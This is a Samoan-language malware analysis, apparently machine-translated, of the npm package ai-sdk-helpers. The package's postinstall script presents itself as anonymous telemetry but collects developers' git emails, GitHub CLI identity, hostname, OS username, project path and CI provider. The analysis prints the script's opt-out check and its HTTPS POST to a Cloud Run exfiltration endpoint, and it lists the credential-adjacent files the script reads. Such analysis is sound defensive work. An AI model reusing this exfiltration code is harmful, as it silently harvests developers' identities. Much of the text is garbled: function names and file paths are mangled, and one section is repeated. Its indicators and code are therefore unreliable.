TL; AMA
O se afifi npm e tasi, ai-sdk-fesoasoani, o loʻo faʻaalia ai o ia lava o se meafaigaluega gaosiga mo le Vercel AI SDK, e ofoina atu le siakiina o tau, fesoasoani e faʻafoʻi ai le tautua, ma fesoasoani i le faʻasalalauina o faʻamatalaga.
O lana tusitusiga i le taimi e faʻapipiʻi ai e amata i se faʻailoga faʻasalalau faʻalelei e faʻamatalaina ai su'esu'ega e le o iloa le suafa, folafola atu e leai se code punaoa, faʻailoga, poʻo ni faʻamaoniga e tuʻuina atu, faʻaaloalogia se DO_NOT_TRACK filifili e lē auai, ma feso'ota'i atu i se itulau o faiga fa'avae mo le telemetry.
Ona faitauina lea e le tusitusiga lava lea e tasi le git identity a le tagata atiaʻe, le faʻatulagaga o le GitHub CLI, le igoa o le masini, le igoa ole OS, le faila o galuega, ma le CI provider.
O lena faʻamaumauga ua POSTina o se JSON i se Google Cloud Run endpoint, ma mafua ai ona manino le feteenai i le va o le faiga faʻavae telemetry ua taʻua ma fanua moni na aoina.
Sa lolomiina le afifi i lomiga e luasefululua i totonu o le lomiga e tasi e 83-sekone le umi, ma e tutusa le tusitusiga fa'apipi'i i byte i byte uma ua fa'ailogaina.
E fitu o lomiga e valu na iloiloina e le matou pipeline sa togiina e le'i mautinoa e le ML classifier ona o le fa'atulagaga o le fa'atagaga-fu'a e faitauina e pei o le telemetry aloaia.
Matou te fa'avasega ai-sdk-helpers e fa'apea o se mea leaga e fa'avae i luga o le aoina mai o fa'asinomaga o le tagata atia'e i le taimi e fa'apipi'i ai ma le fa'ate'aina.
Matuā ogaoga: maualuga.
Anatomy o le faʻapipiʻiina
{ "scripts": { "postinstall": "node scripts/postinstall.js" } }pe a uma ona fa'apipi'i e tamo'e otometi lava i luga npm tāuta, a'o le'i fa'aulufaleina mai so'o se code o lo'o fa'asalalauina i le afifi. O le tusitusiga tusitusiga/postinstall.js o le mea lea e iai uma ai amioga i le taimi e fa'apipi'i ai.
E amata i se poloka faʻamatalaga ma se faʻaaliga taimi e tusia i le resitala o se poloketi tatala-punaoa e mataala i le le faalauaiteleina:
>A e fa'apipi'i le ai-sdk-helpers, matou te fa'atinoina se siaki vave o le fetaui ma le siosiomaga ma lipotia mai fa'ama'i e le o iloa le tagata… O fa'amaumauga e matua'i le iloa le tagata lava ia — matou te aoina lau fa'avae, le lomiga o le Node, ma se hash e tasi le itu o le fa'ailoga o lau masini. E leai se code puna, tokens, po'o ni fa'amaoniga e tu'uina atu.
E oʻo lava i le faʻapipiʻiina o se faitotoʻa opt-out o loʻo galue, o le uluai code e mafai ona faʻatinoina i le faila:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); }o le fa'amauina muamua o lenei faitoto'a o le mea lea e faitauina ai isi o se maliega autasi: o se tagata atia'e e fa'atulaga `D_E LE_SU'ESU'EINA E maeʻa le faʻapipiʻiina ma le filemu ma faʻaiʻu ai le afifi e faʻaaloalogia le feagaiga. O le filifiliga faʻaaloalogia e moni. O le mea e ulufale ai, mo i latou uma e le setiina, o le faʻaputuga o loʻo faʻamatalaina i lalo - ae le o le "faʻavae, faʻaliliuga Node, ma le hash e tasi le itu" e taʻua e le faʻaaliga.
I lalo ifo o lena faitotoa, e tuufaatasia e le tusitusiga se uta e sili atu nai lo lena faʻamatalaga.
- *Gfaasinomaga.* rfofoScmFaasinomaga()` mata'i.gitconfig`,`~.config/git/config`,ma le galuega faatino o loʻo iai nei `.ia/fa'atulagaina`,fa'avasega le `[ser]` filifiliga, ma toe faafoi mai le mea ua faatulagaina commit imeli. Afai e leai se faila fa'atulagaina e maua ai se imeli, e toe fo'i i le `GT_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,ma le `EAIL` fesuia'iga o le siosiomaga. O se fa'asologa o tusitusiga i luga a'e o le galuega faatino e fa'atulaga ai le faitauga o se auala "e aveese ai fa'apipi'iga fa'alua i masini e umia e le tagata lava e tasi (e pei o le komepiuta feavea'i + CI)" - o se fa'amoemoega ua ta'ua e mana'omia ai se fa'ailoga mautu mo le tagata atia'e, lea e commit sapalai imeli.
- *Gteugatupe tHub.* rfoiaGitHubIdentity()` mata'i.config/gh/hosts.yml` ma le `~.config/gh/hosts.yaml` o le faila fa'atulagaina na tusia e le GitHub CLI pe a fa'amaonia e se tagata atia'e - ma fa'a'ese'ese e le regex le `uer:` ma leafaina fanua. O lena faila e teuina ai foi le GitHub OAuth token; o le regex a le tusitusiga e taulaʻi faapitoa i le igoa ole tagata faʻaoga ma laina imeli ma e le aveeseina le token. O le tagi a le faʻasalalauga "leai ni token ... e lafoina atu" o le mea lea e moni lava mo lena fanua e tasi aʻo faitauina ma lafoina faʻamatalaga o tala o loʻo siomia ai.
- *Htamatamailima st ma CI.* ona aoina lea e le tusitusiga.igoa talimalo()`,`o.userInfo().igoa ole tagata faʻaaoga`,le lomiga o le Node, fausaga ma le fausaga, `pocess.cwd()`,ma se fa'ailoga CI-provider ua foia e ala i le siakiina o fesuia'iga o le siosiomaga mo le valu o provider (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite, ma fu'a generic-CI e lua). O le lisi o le provider e faitauina o se lisi o mea e fa'amoemoe e fa'atino ai e le script - o atigi fegalegaleai ma le fausiaina otometi pipelinee tutusa.
O nei mea uma ua fa'aputuina i totonu o le `d e tasitagata e lē talitonu i le Atua bject, faatasi ai ma fanua mo le tagata atiae taitasi ua aoina i lalo o le `ifa'alapotopotoga ey ma fa'amatalaga talimalo i lalo o le `rtaimi ma le `ctusitusiga eys, ona fa'asolosolo lea ma fa'asalalauina:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end();E lafoaʻi le tali ma e foloina uma mea sese — o loʻo taʻua i se faʻamatalaga e faʻapea "e le tatau ona motusia e le telemetry le faʻapipiʻiina." O le igoa o le endpoint hostname e faʻailoa ai se tautua Google Cloud Run i le `emaea-sisifo1` itulagi.
O le va o le tala lea. O le fa'ailoga e ta'ua ai vaega e tolu o fa'amaumauga — fa'avae, fa'aliliuga o le Node, ma le hash o le fa'ailoga o masini. O le uta e auina atu ai le git moni a le tagata atia'e. commit imeli, o latou igoa ole tagata fa'aoga ma imeli a le GitHub, o latou igoa ole masini ma le igoa ole teugatupe OS, o latou ala ole poloketi, ma o latou siosiomaga CI. O fanua e fa'ailoa ai se *prson ma a latou tala tupe* e faatatau tonu lava i vaega e le o aofia i le faamatalaga.
O le README e faʻamalosia ai le faʻavaa mai le isi itu. O lona vaega "Telemetry" e toe fai ai le tagi e le o iloa le suafa ma faʻafesoʻotaʻi le upu `D_E LE_SU'ESU'EINA o `cnsoledonottrack.com`,le itulau moni a le nu'u e fa'amaumauina ai le feagaiga o le filifili e le auai — o lo'o nonoina se tulaga fa'alilolilo ua aloa'ia standard ia faitauina le fa'asilasilaga e pei o se faiga masani.
taimi faatulagaina
O se sailiga e tasi le afifi ma se talafaasolopito puʻupuʻu ma loloto tele o lomiga. E leai se faʻasologa o tauvaga e tele vaiaso e mafai ona toe suʻesuʻeina — o le faʻasologa atoa o lomiga na faʻateleina i le saoasaoa o le masini.
| O afea (UTC) | mea na Tutupu |
|---|---|
| 2026-06-03 20:31:20 | Lomiga muamua (0.1.0) lomia i le npm. |
| 2026-06-03 20:31:20 – 20:32:43 | O lomiga uma e 22 (0.1.0 e ala i 1.4.2) lomia i se fa'asalalauga otometi e 83-sekone le umi. |
| 2026-06-04 | E valu lomiga ua fa'ailogaina e fa'ailoilo iloa; o le su'esu'ega lima e fa'amaonia ai le aoina o fa'asinomaga i le taimi e fa'apipi'i ai ma le fa'amamāina. Sa ola pea le afifi i le npm i le taimi o le su'esu'ega. |
O le fa'amalama e 83-sekone i luga o fa'aliliuga fa'auiga e 22 o se fa'ailoga amio lava ia: o le fa'asitepu o fa'aliliuga (`01.0`,`01.1`,… `14.2`)o loʻo faʻaalia ai le fogāeleele o se galuega faatino o loʻo faʻaauau pea ona tausia faʻatasi ai ma se tala faʻasolopito o le faʻalauiloaina, na gaosia i le tasi tusitusiga ua faʻatinoina. E le suia le tusitusiga faʻapipiʻi i luga o lena faʻasitepu — tagaʻi i lalo.
Fa'ailoga o le fetu'una'iga
E tutusa le uta i le taimi e faʻapipiʻi ai i le vaega atoa o lomiga ua lolomiina.ff` f`sripts/postinstall.js` i le va o le lomiga `02.1` lomiga lona `14.2` e leai ni eseesega e toe faafoi mai; o le amioga o se tamatamailima tumau e tasi, ae le o se uta e fesuisuiaʻi.
Network
O le fa'amalama e 83-sekone i luga o fa'aliliuga fa'auiga e 22 o se fa'ailoga amio lava ia: o le fa'asitepu o fa'aliliuga (`01.0`,`01.1`,… `14.2`)o loʻo faʻaalia ai le fogāeleele o se galuega faatino o loʻo faʻaauau pea ona tausia faʻatasi ai ma se tala faʻasolopito o le faʻalauiloaina, na gaosia i le tasi tusitusiga ua faʻatinoina. E le suia le tusitusiga faʻapipiʻi i luga o lena faʻasitepu — tagaʻi i lalo.
Fa'ailoga o le fetu'una'iga
E tutusa le uta i le taimi e faʻapipiʻi ai i le vaega atoa o lomiga ua lolomiina.ff` f`sripts/postinstall.js` i le va o le lomiga `02.1` lomiga lona `14.2` e leai ni eseesega e toe faafoi mai; o le amioga o se tamatamailima tumau e tasi, ae le o se uta e fesuisuiaʻi.
Network
| Faailoilo | matafaioi |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | O le exfiltration endpoint e maua ai talosaga HTTPS POST ma uta JSON. Fa'atautaia i le Google Cloud Run i le europe-west1 itulagi. |
Atina'e fa'asesē
| Faailoilo | matafaioi |
|---|---|
ai-sdk.guide | Itulau autū o le afifi ma le upega tafaʻilagi ola e lagolagoina le faasinomaga o le tusitala "AI SDK Guide". |
ai-sdk.guide/telemetry | O le URL o le faiga faavae o le telemetry o loʻo faʻasino i ai i le faʻasilasilaga faʻasalalau o le taimi e faʻapipiʻi ai. |
hello@ai-sdk.guide | Ua fa'alauiloa le imeli a le tusitala i le package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | O le nofoaga e teu ai punaoa ua fa'alauiloa e le afifi. |
Faila e faitauina i le taimi e fa'apipi'i ai
- -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` meli
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI`uer` `ema'i
Fa'ailoga o amioga
- – m `pfa'apipi'i o le vala'auina o se tusitusiga Node ua fa'apipi'iina
- – faitoto'a e filifili ai e le auai (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_LE_SU'ESU'E`)tuʻuina atu o se vaega faʻalilolilo, aʻo leʻi aoina faʻasinomaga
- – tbound HTTPS POST o se mea JSON o lo'o i ai le git email, GitHub identity, hostname, OS username, cwd, ma le CI label
- – tusitusiga fa'apipi'i tutusa i luga o se fa'asologa o lomiga e vave ona lolomiina
Fa'asinomaga ma Amioga Mata'ituina
Matou te le fa'ailoa atu se isi mea e sili atu nai lo mea o lo'o fa'amaumauina e le afifi ma le resitala.
O le tagata e tausia faamaumauga npm o le teugatupe `aielsimon`,faatasi ai ma le tuatusi `aiel@vigilance.security`.O loʻo lisiina e le resitala lena imeli e leʻi faʻamaonia ma le faʻasinomaga o le punaoa o le teugatupe e leʻi faʻamaonia.ckage.json`,eseese, ua tuʻuina atu ai le tusitala o le “AI SDK Guide`ello@ai-sdk.guide>`”faatasi ai ma se itulau autū o le `a-sdk.taiala` ma se nofoaga e teu ai punaoa i lalo o le `gthub.com/ai-sdk-guide` fa'alapotopotoga. O le vaega imeli a le tala lolomi (`vigilance.security`)ma le faasinomaga o le tusitala i totonu o le afifi (`a-sdk.guide`)o ni vaega eseese.
O le `a-sdk.taiala` o loo ola le ite ma tali mai, ma le `/elemetria Ua foia e le ath — o le faasinomaga taufaasese e lagolagoina e se upega tafaʻilagi e mafai ona oʻo atu i ai nai lo se soʻotaga mate, lea e faʻateleina ai le talitonuina o le faʻavaa o le afifi.
**Gafatia ua matauina.** I le taimi e faʻapipiʻi ai, e faitau e le afifi le faʻasinomaga o le tagata atiaʻe ma faila faʻatulagaina o tala, faʻailoga tamatamailima o le siosiomaga talimalo ma le CI, ma tuʻuina atu le iʻuga i se pito i tua e pulea e le tagata faʻagaoioia, aʻo faʻaalia se faʻaaliga e faʻamatalaina ai se seti faʻamaumauga e vaapiapi ma e le iloa. Matou te faʻamatalaina lenei amioga; matou te le faʻamaonia se mafuaʻaga mo ia. O le au faitau e iloiloina le afifi - e aofia ai soʻo se vaega e iloa le faʻasinomaga o le lolomiina - e tatau ona fuafua le le fetaui e matauina i le va o le tafega o faʻamaumauga ua taʻua ma le tafega moni o faʻamaumauga.
A'afiaga, aga masani, ma taiala mo i latou e puipuia
O ai ua fa'aalia. So'o se tasi e fa'apipi'i ai-sdk-fesoasoani — tuusaʻo pe o se faalagolago fesuiaʻi — e faʻatautaia le aoina i luga o lena masini. Aua o le mea e faʻagaoioia ai pe a uma ona fa'apipi'i, e le manaʻomia lava ona faʻaulufale mai le code o le faletusi ua faʻasalalauina mo le faʻagasologa o faʻamatalaga; ua lava le faʻapipiʻiina. O siosiomaga sili ona taua o nofoaga faigaluega a le au atinaʻe ma se faʻasinomaga git ua faʻatulagaina ma se GitHub CLI ua faʻamaonia, ma CI runners, lea e faʻaalia ai e le iloa o le CI-provider a le tusitusiga o loʻo faʻamoemoeina le faʻaputuga e tamoʻe i totonu o le fausiaina. pipelinefa'apea fo'i ma luga o komepiuta feavea'i.
O le mea e faʻaalia mai. E le o ni mea lilo o talosaga i le tulaga lautele - o le uta e taulaʻi i luga faasinomaga: a le tagata atia'e commit imeli, le igoa o la latou teugatupe GitHub ma le imeli, le masini ma igoa o teugatupe, ma le ala o le poloketi. O se mea muamua leaciso le fa'afanua o ai na fa'apipi'i le afifi, i luga o le a le masini, i totonu o le a le fale teu oloa, ma i lalo o le fea faiga CI. Mo se fa'alapotopotoga, o ni nai fa'amaumauga fa'apenei e tu'ufa'atasia o le a lisiina ai po'o ai inisinia ma po'o fea faiga na fausia na tosoina le fa'alagolago - e aoga e fai ma fa'ata'ita'iga i gaioiga fa'asolosolo sili atu ona fa'atatau, e ui lava o le amioga a lenei afifi lava ia e gata i le aoina ma le fa'asalalauina.
O le aga masani: telemetry e fai ma ufiufi. E aoina e meafaigaluega fa'atulafonoina a le au atina'e ni fa'amaoniga fa'apipi'i e le o iloa le tagata, ma tu ma aga masani mo le faia ma le faaaloalo - o se fa'asilasilaga fa'asalalau, o se AUA_LE_SU'ESU'E mamalu, o se fu'a e filifili e lē auai, o se URL fa'avae — ua lauiloa uma. ai-sdk-fesoasoani toe gaosia ma le fa'amaoni na fa'atulagaga e fa ma fa'aaogaina e fai ma afifi mo le aoina o fa'asinomaga. O le iai o se fa'ailoga maliega, o se filifiliga e le fa'aaogaina, po'o se so'otaga fa'avae fa'alilolilo e le o se fa'amaoniga lea o se afifi e fa'atuatuaina; o na pulega e taugofie ona fa'ata'ita'i. Na'o le siaki fa'atuatuaina o le mea moni e faitauina e le code ma le mea moni e auina atu i ai.
O lenei afifiina e iai fo'i sona aafiaga e mafai ona fuaina i le fa'avasegaina otometi. I fa'aliliuga uma a matou pipeline ua toe iloiloina, o faʻamatalaga faigofie o le tusitusiga faʻapipiʻi, igoa o fanua faʻatulagaina, ma le faitotoʻa masani o le opt-out na maua o ni telemetry masani: e fitu mai le valu na toe foʻi mai leai se mea mai le ML classifier nai lo le leaga. O le faailoilo e foia ai le le mautonu e le o iai i le tusitusiga — ae o loo iai i faila patino e tatala e le tusitusiga (~ / .gitconfig, ~/.config/gh/hosts.yml) ma le taunuuga e auina atu i ai. O se tagata suʻesuʻe, otometi pe tagata, e faitauina le faʻamatalaga ma taofi ai iina o le a oʻo atu i se faʻaiʻuga sese; e tatau ona sau le faʻaiʻuga mai mea moni o le tafega o faʻamaumauga.
Taiala mo ē puipuia:
- Fa'apipi'i ma tusitusiga ua fa'agata e ala i le fa'aletonu — npm install –lē amana'ia-tusitusiga, pe seti le amana'ia-tusitusiga=moni in .npmrc ma fa'atino ni la'asaga faufale ua uma ona siakiina ma le manino. O lenei mea e fa'aitiitia ai pe a uma ona fa'apipi'i-fa'aosofia ai le aoina i vaega uma.
- Aua le fa'aaogaina pulega o le filifili e le auai e pei o ni fa'ailoga o le fa'atuatuaga. AUA_LE_SU'ESU'E siaki po'o se so'otaga "faiga fa'avae telemetry" e le ta'u atu ia te oe se mea e uiga i fa'amatalaga e aoina e se tusitusiga pe a le setiina le faitoto'a.
- Faitau le fa'atonuga fa'apipi'i a'o le'i fa'aaogaina afifi fesoasoani a le AI-ecosystem. O le avanoa o le Vercel AI SDK o se sini e vave ona gaoioi ma maualuga le fa'atuatuaina; pe a uma ona fa'apipi'i e pa'i atu i ai ~ / .gitconfig or ~/.config/gh/ o se faailoilo manino e tusa lava po o le a le auala o loo tusia ai faʻamatalaga o loo siomia ai.
- Mata'ituina le alu ese mai le taimi e fausia ai. O se HTTPS POST e alu ese atu i le taimi npm tāuta, aemaise lava i se fa'ai'uga o le galuega fa'a-ao fou ua saunia, e mafai ona matauina i le vaega o le feso'ota'iga ma o se nofoaga malosi e iloa ai siosiomaga CI.
- Vaavaai mo fa'asitepu fa'apipi'i. O se afifi o lona tala'aga atoa o le fa'aliliuga e aliali mai i totonu o ni nai sekone, fa'atasi ai ma se tusitusiga fa'apipi'i e le suia, o lo'o tu'uina atu ai se tala'aga o le tausiga na gaosia.
